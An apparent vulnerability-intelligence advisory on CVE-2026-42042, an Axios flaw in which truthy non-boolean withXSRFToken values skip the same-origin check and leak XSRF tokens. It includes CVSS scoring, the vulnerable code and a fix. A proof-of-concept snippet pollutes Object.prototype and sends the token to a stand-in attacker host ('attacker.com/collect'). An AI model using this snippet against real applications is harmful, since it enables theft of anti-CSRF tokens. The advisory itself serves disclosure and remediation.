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CVE-2026-42042 is a medium severity vulnerability with a CVSS score of 5.4. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
withXSRFToken Boolean CoercionThe Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.
Severity: Medium (CVSS 5.4)
Affected Versions: All versions since withXSRFToken was introduced
Vulnerable Component: lib/helpers/resolveConfig.js:59
Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)
Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact |
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute with any truthy value (e.g., , , ), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.
| Vendor | Product |
|---|---|
| Axios | Axios |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
Object.prototype.withXSRFToken1"true"{}File: lib/helpers/resolveConfig.js, lines 57-66
// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));
// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
// ^^^^^^^^^^^^^^^^
// When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
// isURLSameOrigin() is NEVER called → token sent to ANY origin
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
Designed behavior:
true → always send token (explicit cross-origin opt-in)false → never send tokenundefined → send only for same-origin requestsActual behavior for non-boolean truthy values (1, "false", {}, []):
// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;
// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers
withXSRFToken Value Sends Token Cross-Origin Expected
true (boolean) YES Yes (opt-in)
false (boolean) No No
undefined (default) No No
1 (number) YES ← BUG No
"false" (string) YES ← BUG No
{} (object) YES ← BUG No
[] (array) YES ← BUG No
Prototype pollution:
Object.prototype.withXSRFToken = 1
config.withXSRFToken = 1 → leaks=true
isURLSameOrigin() was NOT called (short-circuited)
Object.prototype.withXSRFToken = 1 affects every axios request in the applicationwithXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PPLimitations:
hasStandardBrowserEnv)Use strict boolean comparison:
// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
(withXSRFToken == null && isURLSameOrigin(newConfig.url));
if (shouldSendXSRF) {
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |